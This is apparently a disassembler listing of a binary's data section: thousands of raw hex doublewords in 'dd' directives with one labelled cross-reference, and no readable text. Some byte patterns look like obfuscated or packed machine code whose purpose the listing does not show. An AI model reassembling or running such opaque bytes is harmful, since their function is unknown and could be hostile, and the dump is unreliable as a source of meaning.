		dd 0E796C74h, 0E9BC006Fh, 2F2C7F94h, 7A771930h,	55F3D5D2h
		dd 10F01F4Dh, 3219F943h, 403F3C8Fh, 2CFF6D29h, 19F98725h
		dd 5E2B7382h, 0E76AFF46h, 6473B8BFh, 7DFFFFFFh,	1ACDFEECh
		dd 6CE53A1Ah, 0FA1B355h, 982A3C12h, 0CDB6380Ah,	336B3569h
		dd 0E4975BCCh, 0D6787880h, 0D9484ABFh, 2458442Bh, 0B1878436h
		dd 0D70F0CA0h, 0A29B9705h, 914488Ah, 0E58442Ch,	6FE5BF00h
		dd 6B1E4107h, 3A2A9854h, 0BEA71DA4h, 20AFh, 0E608B900h
		dd 1305399Dh, 0CF5BCCAAh, 41D1F1Ch, 2A58445Ah, 3ED4C432h
		dd 49BEA6CDh, 0D0h, 82342653h, 0FEB9AF85h, 2B8253CAh, 0ABCAA5Eh
		dd 32434E7h, 47D1E85Ah,	0C19794E7h, 4A201DAFh, 5442A618h
		dd 6D36385Dh, 0DAE0F72Ah, 29C8FEECh, 9C88041Dh,	2F94DA8Ch
		dd 445B3AC9h, 2B50EC76h, 65D7095Eh, 7F3123D7h, 27608E82h
		dd 645D8FC3h, 0AA5D5BCCh, 0FFEA5846h, 2D03BBFFh, 0B03E1016h
		dd 383F73D7h, 3C55DABDh, 0CF1D2589h, 0DF11197Dh, 0F2C419B0h
		dd 0EE417A6Fh, 0CF1DD1D7h, 0AD5F4A7Dh, 942DC4CBh, 1E5B0h
		dd 9C2A3A00h, 0BB095A0Eh, 0D779792Dh, 0F25E9549h, 10BAB064h
		dd 0B18D6F82h, 0CF8311BBh, 0ECA02E9Eh, 5B947E5h, 0B6D361D3h
		dd 277F9ED2h, 9B7D583Fh, 0A3FEECC5h, 0CC626EC8h, 0C5C0D0CFh
		dd 0AA4C63E3h, 0C87C0ABCh, 0D8962496h, 0A776AAECh, 145E2B82h
		dd 2B823DE0h, 0E90CBF5Eh, 69C70C36h, 96566D6Ch,	0B7055858h
		dd 4CCC0064h, 875BCCAAh, 0C4DB6D7Fh, 77797629h,	58445AAAh
		dd 2E1E8C84h, 0BEA6CD98h, 0C3A3h, 3426AD00h, 0B9AF8582h
		dd 5210120Fh, 2F5E2B85h, 49FD8B3Dh, 0B4A8A517h,	0F97E723Ah
		dd 585754F8h, 0C4EB205h, 7E8796CAh, 0EB755E2Bh,	0E0F74AFAh
		dd 0CC90DA12h, 0A937EA5Bh, 0EBEB3BBh, 3BFB1211h, 2E70D4B3h
		dd 84812B26h, 0F6A06E85h, 0FA55DB1Fh, 57F5E347h, 0FC27BC93h
		dd 0BEC6A2B9h, 0B2BA1EA8h, 52CBFFBEh, 0B25E1CB8h, 0B0AFACFFh
		dd 89DF9399h, 30570C3Fh, 0D069C4CCh, 0E5ECh, 9C2A3A00h
		dd 0BB095A0Eh, 0D779792Dh, 0F25E9549h, 10BAB064h, 0B18D6F82h
		dd 0CF8311BBh, 0ECA02E9Eh, 5B947E5h, 0B6D361D3h, 267F9ED2h
		dd 9B7D583Fh, 0F3E4ECC5h, 32494845h, 62F05A90h,	684DBCAEh
		dd 32C2430Dh, 0C7851366h, 85823426h, 0C6FABDAFh, 5E2B8257h
		dd 0D8FB519Eh, 806ED225h, 0C9F7D932h, 0BEC4DB6Dh, 0C35A8ED0h
		dd 415E2B24h, 37B7778Eh, 0E4B8EC50h, 185BC76Dh,	40926865h
		dd 0FB181031h, 21749F60h, 4B9DA593h, 2C80CFF9h,	0F8617315h
		dd 5A5956F8h, 52080A07h, 9F59DFCAh, 2D03004Ch, 558D8A26h
		dd 8D191583h, 687A4DBBh, 429448D6h, 0D61DF3F0h,	0E3B57D7Ah
		dd 0A9B06DA1h, 0A1545A1Fh, 4444E791h, 536A49C4h, 4562997h
		dd 2E3624B2h, 0AC49D138h, 0DC4D4A22h, 9ED07289h, 34B2F2Ch
		dd 0E1000000h, 3626FBCBh, 0A3B58B88h, 333E1411h, 97C69C99h
		dd 4522825h, 89DFB5B2h,	676C423Fh, 0FAF6CCC9h, 6E815754h
		dd 681AE5E2h, 1A3Bh, 68240C89h,	7AB0h, 68241489h, 5E46h
		dd 81242C89h, 4ECh, 241C8900h, 9D74BDBBh, 6AEB816Dh, 4B359700h
		dd 764AEB81h, 0EB817857h, 0B9C2AF1Ch, 815BDA89h, 4ECh
		dd 24248900h, 4240483h,	3481525Dh, 69531F24h, 8458F1Fh
		dd 531FBF57h, 7D311F69h, 2C8B5F08h, 0E6895624h,	4C681h
		dd 0C6830000h, 24348704h, 24148B5Ch, 81E18951h,	4C1h, 4C18300h
		dd 5C240C87h, 0FBEBB8E9h, 0BF0FA9FFh, 2B017321h, 0EC4617C5h
		dd 0EC5D1EB8h, 0FFC50305h, 0B6DC23E0h, 0DBFB3955h, 0B3B5F102h
		dd 54FA9668h, 3ACCF728h, 3AB50B63h, 5F8DF708h, 3F58E663h
		dd 79A58E0Fh, 507A595Ah, 3C9E3A27h, 830CAB73h, 0CC306A23h
		dd 719D8D60h, 0B805E701h, 39h, 24718589h, 0E805E7h, 58000000h
		dd 0D05h, 0E9038900h, 39h, 0Eh dup(77E60000h), 0C004EBFFh
		dd 0E9142BDCh, 4E2h, 0BC52C71Dh, 59B8E6Ch, 53E930B5h, 9E34FD03h
		dd 0E67CAD4Eh, 0BA4164CDh, 7589D96Fh, 2BD626BCh, 0DF207006h
		dd 0CEE7BC52h, 7E31FDE1h, 1A9F855Ah, 0ABF839C6h, 61F732C9h
		dd 0FEE7F50Ah, 0A736CE1Bh, 5491D3C3h, 39457D4Bh, 3C1E6BC6h
		dd 0A9B76EC3h, 0F78FDC55h, 2D7AB747h, 0D2B45D95h, 2B40128h
		dd 0D62938CEh, 0DD43EE11h, 23D21426h, 0FDD0DFA2h, 7E83D3C5h
		dd 34CD1DB3h, 30CEB0FDh, 0C10FB401h, 4CE51C2Bh,	989966B6h
		dd 0FAAB8A4Bh, 12745491h, 645166C4h, 5491FA80h,	1A023A08h
		dd 457CDB70h, 5B51h, 39C6FC00h,	3F2C41F8h, 5491D35Bh, 9B6515E3h
		dd 0F4B55E96h, 5491D416h, 7CC96898h, 7CC9609Ah,	2E7389D7h
		dd 0FA0614C5h, 0AD3BFF37h, 7CFC10BAh, 1F145h, 0BF9C0000h
		dd 0D3D9BDAAh, 93615491h, 0DF1702E3h, 2	dup(0B50227D3h)
		dd 0B7042DD3h, 2C3BD105h, 75C55BCEh, 0BC11A78Ah, 3BAA35C6h
		dd 492B78DEh, 572B78B1h, 0A9BB9167h, 0F985B5F1h, 97A3DB4Dh
		dd 0A9807B64h, 0C22801F9h, 0E23DC2Ch, 1306DFC1h, 765A475Ch
		dd 0FE54928Dh, 864FF830h, 3DD2331h, 928E3216h, 86ECBA54h
		dd 97C8A4Eh, 457C404Fh,	7E50h, 15EBF900h, 77E9CF1Ch, 6D5B07B7h
		dd 0CADB1379h, 0D9BDAABFh, 615491D3h, 0AC4F5B93h, 47B8C67Dh
		dd 6EAB3AEAh, 0A8518921h, 0ADFA1FC6h, 2231C7FBh, 6ABA50D9h
		dd 82974E91h, 0D8E6CF1Ch, 0D2BB0829h, 91D401E5h, 55BB8954h
		dd 42EF111Dh, 0D0262CF5h, 7CFAEBA5h, 4DEC45h, 0C6970000h
		dd 0DA57AA35h, 0E6611626h, 0F157BA75h, 0F23FC2A4h, 1E3330A5h
		dd 92204D31h, 0CF07D554h, 9566FD0Bh, 0BFA9FE94h, 0EE861AADh
		dd 37CF1C0Dh, 0B907783h, 9ED63CF5h, 74C16892h, 923AD4B3h
		dd 0AD3B9D54h, 7C9B10BAh, 1F145h, 0C69C0000h, 0CBADFA1Fh
		dd 0BB0FD34h, 0CD182FBDh, 9BCCB64Ch, 0BA8D7A31h, 425176FCh
		dd 0BA452774h, 6E91E177h, 0D7B576C3h, 595A7902h, 74BD42A5h
		dd 0DC298F27h, 0DD2A07FAh, 0BEC31909h, 283FCD7Bh, 381C09D7h
		dd 0C05A7903h, 0A6F68CF2h, 0C21D859h, 0E12E03FEh, 2D6BA49h
		dd 905E5A79h, 32CDAF58h, 8C3648FFh, 0AC907D70h,	345A795Ah
		dd 0E46EB266h, 0B78B346Ch, 0DD2231C7h, 0E892BE54h, 0C9409BEFh
		dd 167h, 50B1BF74h, 0C4FC94E1h,	0CC83F51Eh, 76F978DFh
		dd 3617351h, 0CB7BF35Fh, 4248B20Bh, 82E88DEAh, 216E3C4Ah
		dd 0BA71C03Fh, 91DE53ACh, 7FCFC1F9h, 0ECFAB180h, 35CD1A0Fh
		dd 8D7254FDh, 938357A4h, 0CF11EE45h, 794DFEE2h,	52B8865Ah
		dd 86E690BCh, 74C7409Bh, 72000000h, 0DB92E42Ch,	91D3DAEEh
		dd 0D6C3E254h, 5491D4F2h, 0F946AC7Ah, 91D45438h, 62772254h
		dd 91D49175h, 134B1954h, 91A3B94Fh, 0ED351Ch, 5492961Ch
		dd 6922D6A4h, 8D336B40h, 273CF345h, 9A4AE719h, 0A994CC65h
		dd 54928A95h, 3B718398h, 0E0F2CBE4h, 0EA5D41D0h, 17E55491h
		dd 4C03D1DFh, 2471C03Eh, 5062548Ch, 0A7h, 0D35EA3B1h, 0A73EEE86h
		dd 2C293A72h, 0EDDA91FBh, 5176DB96h, 0AB57FF11h, 0AA67A827h
		dd 49966472h, 3999867h,	98E54CB3h, 0C9AD9AAFh, 515A7963h
		dd 0F7604B83h, 6E5A7963h, 8B6F5C71h, 135A7964h,	0B3490D45h
		dd 40D65BA4h, 4BB2D56h,	651EFD17h, 0FEEB0057h, 6065C41Ah
		dd 8E9CD4A2h, 6E9173C0h, 6A9476C3h, 63987AC7h, 7FDB79C6h
		dd 9192D669h, 59697B62h, 0D1E380F3h, 7EBB2DCBh,	60245C07h
		dd 86F6218Ah, 7DC8E2CFh, 0BDCB5D51h, 0D35EA344h, 4A37206Dh
		dd 66522266h, 82BA20EEh, 0B910A674h, 8EDB56ABh,	2CADBEF6h
		dd 0EDDA91FBh, 517D8DD3h, 0EBCFBCDBh, 735A7E32h, 32836754h
		dd 3D0B5A7Eh, 422471D7h, 8EDE74BDh, 0B273C071h,	4B42CBA0h
		dd 150A6DAh, 4D9D33FEh,	806E31B2h, 1585611Eh, 3A083274h
		dd 2B218CEh, 51E936E3h,	0DA2634EBh, 94761F57h, 0AC857B6Ch
		dd 654F946h, 9A485AF0h,	1ABD6A9Eh, 17FBE89Fh, 9F6C46C1h
		dd 728D99D1h, 0C09D816Eh, 57256C46h, 0F40B5BF1h, 0B4CF03Dh
		dd 0AD000000h, 7487609Fh, 6174FB5h, 1EC61358h, 33CCAEFBh
		dd 32CFB1FEh, 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h
		dd 11D4B603h, 21D9BB08h, 686FBB08h, 7434h, 68242C89h, 4EF0h
		dd 68243489h, 25C6h, 50241489h,	0EC5E57B8h, 8BC68905h
		dd 0C4832404h, 148B5404h, 4C48324h, 8904EC83h, 0F789243Ch
		dd 5F087A89h, 5A2434FFh, 0FF04C483h, 815E2434h,	4C4h, 1D61E900h
		dd 0D04CFFFBh, 0AAB3AD0Eh, 35682132h, 0DEB8780Eh, 305EC62h
		dd 0DCE0FFC5h, 63325F2Bh, 0C842532Eh, 9A01DF4Ah, 5F60D30Bh
		dd 0F8524298h, 0AB12A80Eh, 0B0775D8Ah, 0DB54AEEAh, 5E3F4692h
		dd 7296BB4h, 7E344F94h,	873E4A90h, 0C0E5074h, 1F740862h
		dd 824E65C2h, 0E55579B4h, 14419C9Ah, 9608DFDCh,	5C6F1863h
		dd 0FD00CA67h, 8D46EC30h, 0EC64588Dh
		db 5, 89h
word_594F42	dw 0A98Dh		; DATA XREF: ___:off_438100o
		dd 0C705E71Ah, 0E72A4D85h, 71EC05h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 8AEF54F3h
		dd 0D8D89E2h, 0C705E71Ah, 0E7273985h, 5, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 8267384Eh, 60EFE05Dh, 0B866F88Bh, 0FF61EFB4h, 0E71CE1B5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0F882440h, 95FFC6BFh, 5E71795h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 37C35141h, 6AF952h
		dd 21C195FFh, 0C08B05E7h, 40614FEBh, 0B59FDEC5h, 0C66AC7FDh
		dd 0A8B807C8h, 676B446Dh, 0A91D449Fh, 0E559034Eh, 0A7904CB9h
		dd 0E5FBAAB2h, 0B5BE2C33h, 588B3BD6h, 44374F89h, 17197CF5h
		dd 0A7485F2Ah, 8824407Ah, 73B6C16Ah, 6763C9ACh,	8BB8647h
		dd 6B29C3B8h, 0D1E7368Ah, 0B0E9E0h, 66600000h, 0C2F6DA8Ch
		dd 0C850F04h, 3B000000h, 0E7089985h, 36840F05h,	3B000000h
		dd 0E7178585h, 2A840F05h, 3B000000h, 0E72A6D85h, 1E840F05h
		dd 3B000000h, 0E71AE585h, 12840F05h, 83000000h,	0E711DDBDh
		dd 840F0105h, 5, 5FE9h,	3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh
		dd 49840FC9h, 81000000h, 0F8C2h, 0C728B00h, 598BC803h
		dd 14518B1Ch, 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h
		dd 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h
		dd 0E74D249Dh, 5B805h, 0E3FF0000h, 0D00BC361h, 314004EBh
		dd 37E941FFh, 34000005h, 83D369B0h, 0CC1CB277h,	1A6A0019h
		dd 65B54BE6h, 0E4FD9396h, 86A3587Bh, 0D35EA0F0h, 1D14ED3Dh
		dd 69C83787h, 0F8E5FED3h, 5A7E3914h, 0C631B69Ch, 1ED5AA39h
		dd 0A556A7A9h, 0EB10F23Fh, 0A758A83Eh, 3BC5D38Ah, 2C15BEF6h
		dd 4A530517h, 51917323h, 9239DEC2h, 60986654h, 0CF86AB54h
		dd 0BDF524C1h, 10C83214h, 923A3F23h, 93F9C754h,	8A609446h
		dd 879F44BBh, 0E3B577F6h, 449B3197h, 1865C436h,	0C53C4880h
		dd 6D7FD66Ch, 2815D464h, 5491F644h, 0F54AFECCh,	939FD7CDh
		dd 9476C36Eh, 0D57AC76Ah, 1FE27187h, 0D32C7C12h, 7150115Eh
		dd 3A54920Dh, 0AD5702D8h, 8E457CC6h, 6Dh, 0F839C639h, 0D40CEAABh
		dd 73D55491h, 0FC48F265h, 1029457Ch, 0D2000000h, 0B7A43CC4h
		dd 5491DFD3h, 0DA278D5Bh, 0C6F90A42h, 0DC55AB34h, 4491F78Fh
		dd 0DA919862h, 4ACBBAC8h, 0A259987Bh, 9242D1B5h, 538B5954h
		dd 0F938C8AAh, 65CC3442h, 9F488018h, 9F5C6AEDh,	788E528Ah
		dd 821811E9h, 0CE64CD32h, 4C976977h, 318FA64h, 0A3DB4120h
		dd 0F435C692h, 9DACBEA7h, 957F7180h, 0E119255Dh, 3727FB48h
		dd 0C06992A1h, 0C25DA2Ah, 1108DDBFh, 0E7F5FBC4h, 7C98DA74h
		dd 18051A45h, 54924034h, 44B6EEBCh, 8Ah, 0A635C6EFh, 0E67F2C8Fh
		dd 0C77EE452h, 0AA53DAB5h, 0B431201h, 6A658062h, 785C4997h
		dd 5492B8h, 0E77FCC32h,	4E823481h, 8652A9B8h, 92B8B599h
		dd 96F3D54h, 51D82373h,	53DE2204h, 0BC6D8E9Ch, 0F69FD76Fh
		dd 0A6D1272Dh, 457C1FECh, 6CBD3E4Ch, 5DC234h, 0C66D0000h
		dd 0BEA7F435h, 0ACE435B0h, 83D061A0h, 85D25FA1h, 88D55CA3h
		dd 0A976513h, 74C319C7h, 0B50CA287h, 0BA9E8BA0h, 425491D3h
		dd 0D401E574h, 0BB895491h, 0ADBF7283h, 0DC3C1048h, 0BAC6FEDDh
		dd 0DB9CE940h, 5491FDFCh, 0E29563C5h, 457CD638h, 2E2B6678h
		dd 151637DBh, 16BDDh, 0C6160000h, 0CBADFA1Fh, 0BB0FD34h
		dd 886C596Eh, 105491D3h, 0B0460A42h, 3FD544A1h,	91702255h
		dd 96833AA0h, 5176FCC3h, 68C93846h, 3D4B831Bh, 0BF40226Fh
		dd 0B9A6BB72h, 5A7902D5h, 522415Dh, 60F762D2h, 79B04AFAh
		dd 6A5C942Ch, 0FF4CE51Ah, 78D3603Eh, 1118E25Ah,	151CE2C4h
		dd 7D523C8h, 7389377Ah,	4AC81BE4h, 0E23D3AD7h, 0B60326D5h
		dd 0BC52B81Eh, 519E936Ch, 54A1906Fh, 59A67372h,	5CA98877h
		dd 0E9369B7h, 0D76E7C6Ch, 47730928h, 409BE99Dh,	1677Eh
		dd 0A7152700h, 9AA9570Eh, 0BF6273ABh, 7D914AB1h, 6CAE11DDh
		dd 61F946ACh, 4275B2ADh, 225ACA78h, 2AE14B7Ch, 7735D63Dh
		dd 0BB08D651h, 750B26D9h, 0A057DA25h, 74C16892h, 19FBA4DCh
		dd 1CFE4BE6h, 19024FE2h, 793C482Ch, 5202D05Ah, 8F3481A8h
		dd 44E6AB41h, 93A88654h, 793CC2A6h, 447C4A5Ah, 3A1CC738h
		dd 4158CA26h, 527E147Ah, 409B4AA8h, 0E0BDAE8h, 7FF129C1h
		dd 6Ah,	92E42C2Ah, 0D3DAEEDBh, 14E25491h, 0D52206C7h, 45F05491h
		dd 0B266C337h, 82D14F3Dh, 0C488C0CCh, 16031836h, 54920F32h
		dd 0EB4ECBAh, 0A8BD74FAh, 403C4C96h, 6B3C1C3h, 629044B7h
		dd 279112BEh, 9021B265h, 0F307F22Ah, 0F65492A9h, 0DE1613E8h
		dd 0E0C4B1D0h, 685492AAh, 6B7D349Ah, 0DE9968E5h, 0D2C4FC42h
		dd 83C0h, 0FB2C2300h, 96EDDA91h, 165176DBh, 0E619FB48h
		dd 9A65B54Bh, 4F614A97h, 7331615Dh, 2E1951D9h, 5A7901C5h
		dd 0E9788E3Ch, 2E851B16h, 14EDB20h, 588B3169h, 494C39F0h
		dd 515764E5h, 3CBECC83h, 0D008A0EDh, 3C293E27h,	60656758h
		dd 0CEDA12E0h, 0EB30031h, 56812AC0h, 64CA5F9Ch,	968398ADh
		dd 606567B2h, 67644835h, 1EEC6065h, 0DEE9E6Ch, 0F6F9E41Ch
		dd 0FE5D514Ah, 72677930h, 78690262h, 0EC41336Bh, 0DA91FB2Ch
		dd 7DB6EAEDh, 6D24F251h, 39876B58h, 410F5A7Eh, 817E6009h
		dd 35CA1AB0h, 88EEAFFCh, 0BA166EEFh, 51352237h,	0D99E9195h
		dd 8CA55B0Bh, 0EB7A9054h, 37871D14h, 331C69C8h,	5C82A821h
		dd 936D3C95h, 0F400389Eh, 33D8250Ch, 0BF4017E5h, 0F359D828h
		dd 3FF20D5Dh, 34EF2h, 58B10000h, 0FB1EC613h, 0FE33CCAEh
		dd 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h
		dd 811D4B6h, 821D9BBh, 89516FBBh, 7DBD55E1h, 814C413Bh
		dd 917EBBE5h, 0CBC58105h, 1FBFEC5h, 0E9835DE9h,	240C8704h
		dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 52243C89h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	6E68241Ch, 8B05EC65h
		dd 0C483243Ch, 4EC8304h, 83242489h, 5B042404h, 8B951h
		dd 0D9010000h, 89FA8952h, 8B595A11h, 8950241Ch,	405E0h
		dd 0C0830000h, 24048704h, 243C8B5Ch, 81E28952h,	4C2h, 4C28100h
		dd 87000000h, 0E95C2414h, 0FFFB15EFh, 0ABA71F97h, 5B8E5C1h
		dd 305EC6Ah, 5BE0FFC5h,	791AA8C2h, 9227DD13h, 8D0F0396h
		dd 0EC6BB48Dh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 4E708943h, 7EBF6664h
		dd 8D893A0Fh, 5E71AA9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 1EC35343h, 297B7912h,	0E717E5BDh, 0F5BD8B05h
		dd 0C705E701h, 0E72A4D85h, 62BC05h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 30F5D0F9h
		dd 0C13B34F3h, 85C7F815h, 5E72739h, 0
		dd 0FFFB8B66h, 0E72411B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 42EE943Bh
		dd 6E9C677h, 9000000h, 75CE074h, 9595FF9Ch, 6A05E717h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0A795C357h, 666115A1h, 6AC28Bh, 21C195FFh
		dd 0C08B05E7h, 29422EEBh, 5CDD6FD4h, 0AC372752h, 6FAC79ADh
		dd 64187145h, 0A35E1FB8h, 52109AEBh, 2E2F5EF3h,	61B5DB1Dh
		dd 10D4BCF2h, 2281360Ch, 0A329DCCh, 0DE4A04EBh,	0D7E923A2h
		dd 0B8000005h, 757ED2Ch, 50A036F3h, 9EEE8495h, 0E939CF62h
		dd 68811712h, 0A1FDCFFh, 57DA2474h, 0A19071C1h,	0ED44BB0Bh
		dd 7C698257h, 5A7E3E98h, 0C6B53A20h, 0E051AE39h, 0FC62CF30h
		dd 0FB2ECDAFh, 47EA1565h, 4AE718FAh, 0DF1BFDh, 4AE22FFAh
		dd 0B1E597E4h, 3EF30C5Bh, 64D47587h, 19A09A8h, 94CC32FFh
		dd 82AF52A2h, 938095ECh, 549240AFh, 25316937h, 260855DCh
		dd 670C59D8h, 8D74C319h, 41BE0EA4h, 3E2A3F0h, 0CC549241h
		dd 3FE99C6Ah, 20457C91h, 6Dh, 0EE43BBC9h, 39C6A5B6h, 0CEAABF8h
		dd 8E5491D4h, 9274C170h, 479C653h, 92FB8056h, 5AFDA30h
		dd 0E6457CFCh, 1, 0F534C691h, 0F534C6A8h, 583C293Eh, 0E05491D3h
		dd 4F31DA12h, 813380B1h, 18FCE9FEh, 0A05491D4h,	0D69AD2h
		dd 0CA60C931h, 46956573h, 0DB7E558Eh, 4693F9E8h, 956A76AEh
		dd 0A1AF069Ch, 0BA778760h, 376F0754h, 0F435C626h, 5FD22F3Dh
		dd 80957E27h, 91D3AF93h, 2B183754h, 5491D347h, 639B01CFh
		dd 0CF86A357h, 0BDF524C1h, 2 dup(61C83214h), 0D82E6214h
		dd 0AB4131D3h, 7F805F9Ch, 788365B2h, 66CC64B1h,	0E51A6A00h
		dd 7887954Ch, 9CD46CB9h, 45D411F3h, 0CCDA2FF8h,	19B1FE33h
		dd 9CCF1DE1h, 457CFAE2h, 89E3h,	35C68E00h, 8BD851AAh, 0C4D68DF3h
		dd 0EFA4B0Ah, 6B144C3Ch, 86F5C89h, 0B5E2FC31h, 4B2D7AE0h
		dd 4E307DB4h, 4F358297h, 0AA77C787h, 0E03CA8A8h, 0D105850Ah
		dd 5ACF2C3Bh, 0A28774C4h, 0A48D7355h, 7EBD8EDh,	8F549233h
		dd 17E089C1h, 0E64BB4C2h, 691CEAAEh, 457CA5AFh,	51B0h
		dd 0B1BF5B00h, 9BA7DF4Ah, 9A7CC960h, 0A88C7967h, 305491D3h
		dd 3045FC62h, 451D822h,	0D3F9DD6Ch, 0B3815491h,	0AF5DD27Bh
		dd 38F10A59h, 34C64DA2h, 0D0303EF5h, 0D9BDAA61h, 615491D3h
		dd 0F1B25B93h, 5491D412h, 0F86379DBh, 457CFC4Eh, 12Fh
		dd 0B1BFDA00h, 3E2BE24Fh, 5491D35Ah, 0D0DC14E2h, 0D5B70415h
		dd 15BA072Ah, 49976A78h, 91D3785Ch, 0CC320054h,	243AD094h
		dd 73D88312h, 0E46F904h, 0A036E302h, 14D18DB6h,	0FBE89F05h
		dd 51770B28h, 0B395E2B0h, 0A07B974Ch, 3B67190Bh, 10EF3FD5h
		dd 68556A21h, 5A796384h, 64361A07h, 0F0BE5A79h,	8F38703Eh
		dd 0C66398A6h, 0BFA39079h, 475A7963h, 0F0DB1379h, 5A796412h
		dd 0AE855301h, 0FA4AE051h, 0FDDF2C05h, 0E22F02h, 3E532FFh
		dd 72E734FDh, 0C76936C4h, 0A2867388h, 2A5A7963h, 8A60245Ch
		dd 5CA344BBh, 0AAB86FD5h, 0F48CD950h, 6173CABCh, 37240357h
		dd 5A79C753h, 60590DDBh, 422A622Ah, 409B2198h, 19979h
		dd 0FB2C2400h, 86EDDA91h, 865176F9h, 76896BB8h,	57A48D71h
		dd 3DEC0FBFh, 5CF258F0h, 2908F705h, 519444DCh, 0ABE37BC8h
		dd 1AD1609Fh, 341805h, 9DBC5A79h, 78FFCCB0h, 2086545Ah
		dd 41563FE8h, 997FE52Fh, 8B1A5738h, 5A7973A7h, 3F23102Fh
		dd 0C75A7974h, 4F5B93F9h, 69C837B0h, 2AD4841Ch,	8054A107h
		dd 5BE2F41h, 0C99D354Eh, 0AE6E709Eh, 0E46ACEAh,	909EBC4Ah
		dd 0EB14C455h, 0FD020E46h, 0B61C15EAh, 0E14AF420h, 758A409Bh
		dd 0FC8F7360h, 49175A78h, 78FCD6BAh, 886C595Ah,	105A78FCh
		dd 8AC29042h, 5518h, 0BFACC100h, 5A78FCDBh, 4C5D9563h
		dd 0C544E42Ch, 5670B9F0h, 2035EC52h, 0F845EC12h, 0FA47EA16h
		dd 0D9C4FC62h, 549274C5h, 0F1B2FFCDh, 5492760Dh, 0D3697FDBh
		dd 75EDD1BEh, 0A7755492h, 2F81C96Fh, 75778B78h,	0B17F5492h
		dd 4AB6C41Bh, 0CA029AE7h, 9DFCh, 0FB2C5F00h, 1278B947h
		dd 7EB34D5Bh, 0D3F6DAC7h, 0B07E5491h, 21786578h, 0A15176DBh
		dd 8F9D86D3h, 0DD75C26Fh, 2961B82Dh, 0B94FE21Dh, 4E9B9669h
		dd 78DD248Dh, 909E9B5Ah, 0DE76C36Eh, 255DCC2Eh,	43BC8B61h
		dd 456E58EEh, 0F00E1CD3h, 245CF441h, 0DEEFC11h,	82F9E41Ch
		dd 7D5764C3h, 509D8C6Fh, 0A47280B8h, 568A7557h,	4259B244h
		dd 19A8A4AAh, 60652735h, 3C89EFBDh, 3E8BA65Ah, 408DA45Ch
		dd 0FF8C5A8Eh, 0FFA83E8Ch, 49E01AD4h, 0C83F2CE3h, 0C35D510Bh
		dd 98E54CB5h, 0ECBAC800h, 0FB2C0156h, 0B7C5DA91h, 0D0499C43h
		dd 4D85EB83h, 7DB8EB62h, 0D01DEB51h, 8A2011EEh,	1F6CC53Ah
		dd 0EC132136h, 0D160F845h, 5A7E3FEDh, 90F3A775h, 5AA264EEh
		dd 557D68A0h, 778CC2Ah,	0A5847684h, 0FD53A96Dh,	3117FBE8h
		dd 0D19F80CDh, 71728D99h, 1746C3B6h, 0F8BBE7AEh, 0B20C94Bh
		dd 52A93FA5h, 0C175BC44h, 0D8333443h, 0B6C2FA0Ah, 1F31E849h
		dd 2BDD9E29h, 48F12964h, 984D9A66h, 0F9DDCA81h,	8180CD66h
		dd 5B004DB3h, 9768FF0Dh, 4BB4049Ah, 2D1A2FE6h, 80CD6649h
		dd 874F03D1h, 2591773Eh, 0E9D27BB3h, 0BD0A1FDBh, 31FED25h
		dd 82000000h, 1EC61358h, 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh
		dd 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h, 21D9BB08h
		dd 506FBB08h, 0BB53E089h, 1AAF7DC4h, 0DBF7DBF7h, 7E3C14Bh
		dd 0E184F381h, 0D80157BEh, 4E8835Bh, 5C240487h,	7A7E68h
		dd 24348900h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 68240489h
		dd 68E1h, 0BB241C89h, 2FC80DA0h, 1CDFE381h, 0F3810E15h
		dd 0BEC6772h, 545BDE89h, 8324048Bh, 0BD6804C4h,	89000002h
		dd 408F2434h, 24048B08h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 5E2434FFh, 4C481h, 0C8E90000h, 4BFFFB0Eh, 3AB892C8h
		dd 305EC71h, 0A4E0FFC5h, 5420026Eh, 0AE557EF1h,	6B38971Bh
		dd 310372E8h, 7E4602ABh, 893C1752h, 65239B7Ah, 0E8336C51h
		dd 0Ch,	165DF0CCh, 31BD1625h, 0B7515698h, 38E0Fh, 0DE800000h
		dd 6E85F5Eh, 0CE000000h, 0BA40B02Ah, 3880F2Ah, 66000000h
		dd 8158D68Bh, 7033C7h, 2810F00h, 0B3000000h, 1BE368D4h
		dd 66600000h, 0F3C0EF81h, 61DEB70Fh, 0A6F0815Eh, 0FF7C84AAh
		dd 2FDB8137h, 5931D8DDh, 9E9h, 0C0446400h, 621A92D0h, 0E981279Eh
		dd 71162B4Ah, 47EB8166h, 0AEE981A8h, 8041FF79h,	0C18181F2h
		dd 277342C1h, 0F28AE281h, 0B25171FCh, 52078F39h, 0F047CA81h
		dd 835A158Fh, 4FF802EFh, 0BD65BA4Fh, 0EE833B7Ch, 0A8850F01h
		dd 66FFFFFFh, 0EB04AABAh, 60h, 17h dup(0)
		dd 0BA6E900h, 9AE90000h, 6800000Bh, 5EC7B16h, 0FB0D76E9h
		dd 7C5B68FFh, 6CE905ECh, 68FFFB0Dh, 5EC7CC7h, 0FB0D62E9h
		dd 27F2F2FFh, 70B94191h, 0BE5B8ADAh, 928D828h, 51D82373h
		dd 1639A2BBh, 5EAE44E5h, 0ABFB91A0h, 0F545DB56h, 0BC91270Ah
